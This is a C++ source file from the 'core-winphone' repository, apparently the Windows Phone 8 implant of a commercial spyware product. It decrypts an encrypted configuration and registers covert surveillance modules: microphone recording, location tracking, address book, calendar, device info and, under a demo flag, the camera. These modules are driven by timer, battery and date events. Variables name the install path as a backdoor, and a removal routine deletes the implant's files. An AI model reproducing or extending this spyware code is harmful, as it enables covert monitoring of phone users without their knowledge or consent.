hackedteam/core-winphone

View on GitHub
MornellaWp8/MornellaWp8/Conf.cpp

Summary

Maintainability
Test Coverage
#include <exception>
#include "Conf.h"
#include "Status.h"
#include "Encryption.h"
#include "Log.h"
#include "Events.h"
#include "Microphone.h"
#include "RecordedCalls.h"
#include "Modules.h"

#include "FunctionFunc.h"

using namespace std;

Conf::Conf() : encryptionObj(g_ConfKey, KEY_LEN), jMod(NULL), jEv(NULL), jAct(NULL), jGlob(NULL) {
    statusObj = Status::self();

    

    strEncryptedConfName = g_ConfName;
#ifdef _DEBUG
    OutputDebugString(strEncryptedConfName.c_str());
#endif

}

Conf::~Conf(){
    if (jMod)
        delete jMod;

    if (jEv)
        delete jEv;

    if (jAct)
        delete jAct;

    if (jGlob)
        delete jGlob;
}

BOOL WINAPI Conf::ParseModule(JSONArray js) {

    UINT i = 0;
    ModulesManager *modulesManager = ModulesManager::self();

    for (i = 0; i < js.size(); i++) {
        JSONObject jo = js[i]->AsObject();
        JSONValue *c = jo[L"module"];

        if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
            // WARNING
            continue;
        }

        void* startProc = NULL;
        wstring moduleName = c->AsString();

#ifdef _DEBUG
        //wprintf(L"Parsing Module: %s\n", moduleName.c_str());
        WCHAR msg[128];
        swprintf_s(msg, L"Parsing Module: %s\n", moduleName.c_str());OutputDebugString(msg);

#endif

        do {
/***
            if (moduleName.compare(L"application") == 0 ) {
                startProc = ApplicationModule;
                break;
            }

            if (moduleName.compare(L"call") == 0 ) {
                startProc = RecordedCalls;
                break;
            }
***/
/***
            if (moduleName.compare(L"calllist") == 0 ) {
                startProc = CallListAgent;
                break;
            }
***/
#ifdef DEMO_ISS
            if (moduleName.compare(L"camera") == 0 ) {
                startProc = CameraModule;
                break;
            }
#endif

/***
            if (moduleName.compare(L"clipboard") == 0 ) {
                startProc = ClipboardModule;
                continue;
            }

            if (moduleName.compare(L"conference") == 0 ) {
                startProc = CallAgent;
                break;
            }
***/
            if (moduleName.compare(L"crisis") == 0 ) {
                startProc = CrisisModule;
                break;
            }

            
            if (moduleName.compare(L"device") == 0 ) {
                startProc = DeviceInfoAgent;
                break;
            }
            
/***
            if (moduleName.compare(L"livemic") == 0 ) {
                startProc = LiveMicModule;
                break;
            }

            if (moduleName.compare(L"messages") == 0 ) {
                startProc = SmsAgent;
                break;
            }
            ***/
            if (moduleName.compare(L"mic") == 0 ) {
                startProc = RecordedMicrophone;
                break;
            }
            
            // AddressBook e calendar sono la stessa cosa
            if (moduleName.compare(L"addressbook") == 0) {
                startProc = AddressbookModule;
                break;
            }

            
            if (moduleName.compare(L"calendar") == 0 ) {
                startProc =CalendarModule;
                break;
            }
            

            if (moduleName.compare(L"position") == 0 ) {
                startProc = PositionModule;
                break;
            }
/***
            if (moduleName.compare(L"screenshot") == 0 ) {
                startProc = SnapshotModule;
                break;
            }
***/
/***
            if (moduleName.compare(L"url") == 0 ) {
                startProc = UrlModule;
                break;
            }
***/
        } while (0);

        if (startProc != NULL)
            modulesManager->add(moduleName, jo, startProc);

        // startProc == NULL -> Unknown agent
    }

    return TRUE;
}

BOOL WINAPI Conf::ParseAction(JSONArray js) {

    UINT i = 0;
    ActionsManager *actionsManager = ActionsManager::self();

    for (i = 0; i < js.size(); i++) {
        JSONObject jo = js[i]->AsObject();
        JSONValue *c = jo[L"subactions"];

        if (c == NULL || c->IsArray() == FALSE) {
            // WARNING
            continue;
        }

#ifdef _DEBUG
        WCHAR msg[128];
        wstring moduleName = jo[L"desc"]->AsString();
        //wprintf(L"Parsing Action: \"%s\"\n", moduleName.c_str());
        swprintf_s(msg, L"Parsing Action: \"%s\"\n", moduleName.c_str());OutputDebugString(msg);
#endif

        actionsManager->add(i, c->AsArray());
    }

    return TRUE;
}

BOOL WINAPI Conf::ParseEvent(JSONArray js) {

    UINT i = 0;
    EventsManager *eventsManager = EventsManager::self();

    for (i = 0; i < js.size(); i++) {
        JSONObject jo = js[i]->AsObject();
        JSONValue *c = jo[L"event"];

        if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
            // WARNING
            continue;
        }

        void* startProc = NULL;
        wstring eventName = c->AsString();

#ifdef _DEBUG
        WCHAR msg[128];
        //wprintf(L"Parsing Event: %s\n", eventName.c_str());
        swprintf_s(msg, L"Parsing Event: %s\n", eventName.c_str());OutputDebugString(msg);
#endif
        
        do {
        
            if (eventName.compare(L"ac") == 0 ) {
                startProc = OnAC;
                break;
            }


            if (eventName.compare(L"battery") == 0 ) {
                startProc = OnBatteryLevel;
                break;
            }
/***
            if (eventName.compare(L"call") == 0 ) {
                startProc = OnCall;
                break;
            }

            if (eventName.compare(L"connection") == 0 ) {
                startProc = OnConnection;
                break;
            }
            ***/
            if (eventName.compare(L"position") == 0 ) {
                startProc = OnLocation;
                continue;
            }
            /***
            if (eventName.compare(L"process") == 0 ) {
                startProc = OnProcess;
                break;
            }

            if (eventName.compare(L"standby") == 0 ) {
                startProc = OnStandby;
                break;
            }

            if (eventName.compare(L"simchange") == 0 ) {
                startProc = OnSimChange;
                break;
            }
            ***/
            if (eventName.compare(L"timer") == 0 ) {
                startProc = OnTimer;
                break;
            }
            /***
            if (eventName.compare(L"afterinst") == 0 ) {
                startProc = OnAfterInst;
                break;
            }
            ***/
            if (eventName.compare(L"date") == 0 ) {
                startProc = OnDate;
                break;
            }
            /***
            if (eventName.compare(L"sms") == 0 ) {
                startProc = OnSms;
                break;
            }
            ***/
        } while (0);

        if (startProc != NULL)
            eventsManager->add(eventName, jo, startProc);

        // startProc == NULL -> Unknown agent
    }

    return TRUE;
}

BOOL Conf::ParseGlobal(JSONArray js) {
    wstring type;

    type = L"quota";
    //statusObj->AddGlobal(type, js[type]);

    type = L"wipe";
    //statusObj->AddGlobal(type, js[type]);

    type = L"version";
    //statusObj->AddGlobal(type, js[type]);

    return TRUE;
}

BOOL Conf::ParseConfSection(JSONValue *jVal, char *conf, WCHAR *section, confCallback_t call_back) {

    JSONObject root;

    if (jVal) {
        delete jVal;
    }

    jVal = JSON::Parse(conf);

    if (!jVal)
        return FALSE;

    if (jVal->IsObject() == false) {
        delete jVal;
        jVal = NULL;

        return FALSE;
    }

    root = jVal->AsObject();

    if (root.find(section) != root.end() && root[section]->IsArray()) {
        call_back(root[section]->AsArray());
    }

    return TRUE;
}

// Questa funzione al termine deve liberare il puntatore ai dati decifrati
// MANAGEMENT: 
// Nella conf tutte le stringhe sono NULL-Terminate e in WCHAR. La lunghezza
// delle stringhe include il NULL ed e' espressa in BYTE.
BOOL Conf::LoadConf() {
#define EXIT_ON_ERROR(x)    if(x == NULL){ delete[] pConf; return FALSE;}
#define CLEAN_AND_EXIT(x)    delete[] pConf; return x;
    BYTE *pConf = NULL, *pTemp = NULL;
    wstring strBack, strMig;
    UINT Len = 0, i = 0, num = 0;
    BOOL bBackConf = FALSE;
    
    if (strEncryptedConfName.empty())
        return NULL;

    // Vediamo se dobbiamo migrare
    strMig = GetMigrationName(FALSE);
    
    if (strMig.empty() == FALSE && FileExists(strMig)) {
        strMig = GetMigrationName(TRUE);
        strBack = GetBackupName(TRUE);
        
        // Copiamo la migrazione come conf di backup
        if (CopyFile2(strMig.c_str(), strBack.c_str(), FALSE)) {
            DeleteFile(strMig.c_str());
        }
        
        Log logInfo;
        logInfo.WriteLogInfo(L"Migration conf activated");
    }

    // Vediamo prima se esiste una configurazione di backup valida
    strBack = GetBackupName(FALSE);


    if (strBack.empty() == FALSE && FileExists(strBack)) {
        pConf = encryptionObj.DecryptConf(strBack, &Len);

        Log logInfo;

        if (pConf == NULL) {
            logInfo.WriteLogInfo(L"Invalid new configuration, reverting");
        } else {
            logInfo.WriteLogInfo(L"New configuration activated");
        }
    }


    // Se non c'e' carichiamo quella di default
    if (pConf == NULL || Len == 0) {
        pConf = encryptionObj.DecryptConf(strEncryptedConfName, &Len);
    } else {
        bBackConf = TRUE; // Significa che dobbiamo spostare la conf di backup
    }


    if (pConf == NULL || Len == 0)
        return FALSE;

    ParseConfSection(jMod, (char *)pConf, L"modules", (confCallback_t)&Conf::ParseModule);
    ParseConfSection(jEv, (char *)pConf, L"events", (confCallback_t)&Conf::ParseEvent);
    ParseConfSection(jAct, (char *)pConf, L"actions", (confCallback_t)&Conf::ParseAction);
    ParseConfSection(jGlob, (char *)pConf, L"globals", (confCallback_t)&Conf::ParseGlobal);

    // Spostiamo la conf di backup
    if (bBackConf == FALSE) {
        // Facciamo il wipe della memoria
        ZeroMemory(pConf, Len);
        CLEAN_AND_EXIT(TRUE);
    }


    wstring strPath;

    strPath = GetCurrentPathStr(strEncryptedConfName);    
    strBack = GetBackupName(TRUE);

    // Meglio essere paranoici
    if (strBack.empty() == FALSE)
    {
        HRESULT hPara=CopyFile2(strBack.c_str(), strPath.c_str(), FALSE);
        if ( SUCCEEDED(hPara) == TRUE)
        {
            DeleteFile(strBack.c_str());
        }
    }

    return TRUE;
}

BOOL Conf::RemoveConf() {

    wstring strbackdoorPath;

    if (strEncryptedConfName.empty())
        return FALSE;

    strbackdoorPath = GetCurrentPath(NULL);

    if (strbackdoorPath.empty())
        return FALSE;

    strbackdoorPath += strEncryptedConfName;

    BOOL res = DeleteFile(strbackdoorPath.c_str());

    // Rimuovi anche il file di conf di backup
    strbackdoorPath = GetBackupName(TRUE);

    if (strbackdoorPath.empty())
        return res;

    DeleteFile(strbackdoorPath.c_str());
    return res;

}

BOOL Conf::FileExists(wstring &strInFile) {

    HANDLE hConfFile = INVALID_HANDLE_VALUE;
    wstring strCompletePath;

    // LOG_DIR + strInFile
    strCompletePath = GetCurrentPathStr(strInFile);

    if (strCompletePath.empty())
        return FALSE;

    // Apriamo il file
    hConfFile = _CreateFileW((PWCHAR)strCompletePath.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hConfFile == INVALID_HANDLE_VALUE)
        return FALSE;

    CloseHandle(hConfFile);

    return TRUE;
}

// XXX - Va implementata! Per il momento scriviamo comunque tutto in maniera
// cifrata e leggiamo solo da file cifrati, per cui questa funzione non serve,
// viene lasciata qui per eventuali utilizzi futuri.
BOOL Conf::FillFile(WCHAR *wName) {
    return TRUE;
}

BYTE* Conf::MemStringCmp(BYTE *memory, CHAR *string, UINT uLen) {
    BYTE *ptr;
    UINT len = 0;
    ptr = memory;

    LOOP {
        if (!strcmp((CHAR *)ptr, string))
            return (ptr + strlen(string) + 1);

        ptr++;
        len++;

        if (len > uLen)
            return NULL;
    }
}

wstring Conf::GetBackupName(BOOL bCompletePath) {

    WCHAR *pBackExt;
    wstring strPath;

    if (bCompletePath == TRUE)
        strPath = GetCurrentPath(g_ConfName);
    else
        strPath = g_ConfName;

    wstring strExtension = L".bak";
    pBackExt = encryptionObj.EncryptName(strExtension, g_Challenge[0]);

    if (pBackExt == NULL)
        return strPath;

    strPath += pBackExt;

    free(pBackExt);

    return strPath;


}

wstring Conf::GetMigrationName(BOOL bCompletePath) {

    WCHAR *pBackExt;
    wstring strPath;

    if (bCompletePath == TRUE)
        strPath = GetCurrentPath(g_ConfName);
    else
        strPath = g_ConfName;

    wstring strExtension = L".mig";
    pBackExt = encryptionObj.EncryptName(strExtension, g_Challenge[0]);

    if (pBackExt == NULL)
        return strPath;

    strPath += pBackExt;

    free(pBackExt);

    return strPath;


}